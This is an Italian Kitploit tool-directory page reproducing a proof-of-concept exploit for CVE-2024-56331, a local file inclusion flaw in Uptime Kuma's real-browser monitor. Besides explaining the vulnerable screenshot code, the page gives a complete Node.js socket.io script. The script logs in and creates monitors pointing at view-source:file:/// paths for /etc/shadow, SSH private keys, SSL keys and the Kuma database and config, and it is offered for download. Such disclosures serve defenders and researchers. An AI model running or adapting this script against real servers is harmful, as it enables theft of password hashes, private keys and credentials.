Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-56331 — Exploit proof-of-concept per CVE-2024-56331, che dimostra la Local File Inclusion in Uptime Kuma attraverso una gestione impropria degli URL nel monitor real-browser. Utilizza il protocollo file:/// per catturare screenshot di file sensibili del server. | Kitploit
Strumenti/GitHubGitHub/griisemine/cve-2024-56331
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingRed Teaming
GitHubgriisemine/cve-2024-56331

CVE-2024-56331

Exploit proof-of-concept per CVE-2024-56331, che dimostra la Local File Inclusion in Uptime Kuma attraverso una gestione impropria degli URL nel monitor real-browser. Utilizza il protocollo file:/// per catturare screenshot di file sensibili del server.

Vedi Repository
121 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-56331 Uptime-Kuma : Inclusione Locale di File (LFI) tramite Gestione Impropria degli URL nel monitor Real-Browser

Riepilogo

Una Vulnerabilità di Gestione Impropria degli URL permette a un attaccante di accedere a file locali sensibili sul server sfruttando il protocollo file:///. Questa vulnerabilità viene attivata tramite il tipo di richiesta "real-browser", che acquisisce uno screenshot dell'URL fornito dall'attaccante. Fornendo percorsi di file locali, come file:///etc/passwd, un attaccante può leggere dati sensibili dal server.

Dettagli

La vulnerabilità deriva dal fatto che il sistema non convalida né sanifica adeguatamente l'input dell'utente per il campo URL. Nello specifico:

  1. L'input dell'URL (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) permette agli utenti di inserire percorsi di file arbitrari, inclusi quelli che utilizzano il protocollo file:///, senza una convalida lato server.

  2. Il server utilizza quindi l'URL fornito dall'utente per effettuare una richiesta, passandola a un'istanza del browser che esegue la richiesta "real-browser", che acquisisce uno screenshot del contenuto all'URL indicato. Se viene inserito un percorso di file locale (ad esempio, file:///etc/passwd), il browser recupera e cattura il contenuto del file.

const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();

const res = await page.goto(monitor.url, {
    waitUntil: "networkidle",
    timeout: monitor.interval * 1000 * 0.8,
});

let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";

await page.screenshot({
    path: path.join(Database.screenshotDir, filename),
});

await context.close();

Poiché l'input dell'utente non viene convalidato, un attaccante può manipolare l'URL per richiedere file locali (ad esempio, file:///etc/passwd) e il sistema acquisirà uno screenshot del contenuto del file, esponendo potenzialmente dati sensibili.

PoC

  1. Istruzioni:
    • Inserisci un percorso di file locale come URL, ad esempio: view-source:file:///etc/passwd.
    • Il server elaborerà l'URL e, in modalità "real-browser", catturerà uno screenshot del contenuto del file.

Esempio PoC:

  1. Accedi all'applicazione con credenziali valide:
const { io } = require("socket.io-client");

// Server configuration and credentials
const CONFIG = {
  serverUrl: "ws://localhost:3001",
  credentials: {
    username: "admin",
    password: "password1"
  },
  requestType: {
    REAL_BROWSER: "real-browser",
    HTTP: "http"
  },
  urlHeader: {
    VIEW_SOURCE: "view-source:file:///",
    FILE: "file:///"
  }
};

// List of sensitive files on a Linux system
const SENSITIVE_FILES = [
  "/etc/passwd",
  "/etc/shadow",
  "/etc/hosts",
  "/etc/hostname",
  "/etc/network/interfaces", // May vary depending on the distribution
  "/etc/ssh/ssh_config",
  "/etc/ssh/sshd_config",
  "~/.ssh/authorized_keys",
  "~/.ssh/id_rsa",
  "/etc/ssl/private/*.key",
  "/etc/ssl/certs/*.crt",
  "/app/data/kuma.db", // Uptime Kuma database file
  "/app/data/config.json" // Uptime Kuma configuration file
];

// Function to send a request and wait for the response
function sendRequest(socket, filePath, type) {
  return new Promise((resolve, reject) => {
    fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
    if (type == CONFIG.requestType.HTTP) {
      fileUrl = CONFIG.urlHeader.FILE + filePath;
    }
    socket.emit("add", {
      type: type,
      name: type + " " + filePath,
      url: fileUrl,
      method: "GET",
      maxretries: 0,
      timeout: 500,
      notificationIDList: {},
      ignoreTls: true,
      upsideDown: false,
      accepted_statuscodes: ["200-299"]
    }, (res) => {
      console.log(`Response for file ${filePath}:`, res);
      resolve();
    });
  });
}

// Main function for connecting and sending the 'add' request
(async () => {
  const socket = io(CONFIG.serverUrl);

  // Handle connection errors
  socket.on("connect_error", (err) => {
    console.error("Connection failed:", err.message);
  });

  try {
    // Connecting with credentials
    await new Promise((resolve, reject) => {
      socket.emit("login", {
        username: CONFIG.credentials.username,
        password: CONFIG.credentials.password,
        token: ""
      }, (res) => {
        if (res.ok) {
          console.log("Connection successful");
          resolve();
        } else {
          console.log(res);
          reject(new Error("Connection failed"));
        }
      });
    });

    // Sending requests for each file using Promise.all to ensure synchronization
    const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));

    // Wait for all requests to be sent
    await Promise.all([...realBrowserRequests]);

    // Close the socket after all requests have been sent
    socket.close();
    console.log("Connection closed after all requests.");

  } catch (error) {
    console.error("Error:", error.message);
    socket.close();
  }
})();

Impatto

Questa vulnerabilità è un problema di Inclusione Locale di File (LFI) che permette a un attaccante di accedere e potenzialmente esfiltrare file sensibili dal server. L'impatto è significativo, poiché gli attaccanti possono accedere a file critici di sistema o file di configurazione dell'applicazione, come:

  • /etc/passwd: Contiene informazioni sugli account utente.
  • /etc/shadow: Contiene hash delle password.
  • /app/data/kuma.db: Contiene il database per lo strumento di monitoraggio Uptime Kuma.
  • /app/data/config.json: Contiene le credenziali del database per Uptime Kuma.

Qualsiasi utente autenticato che possa inviare un URL in modalità "real-browser" è a rischio di esporre dati sensibili tramite screenshot di questi file.

Scarica lo strumento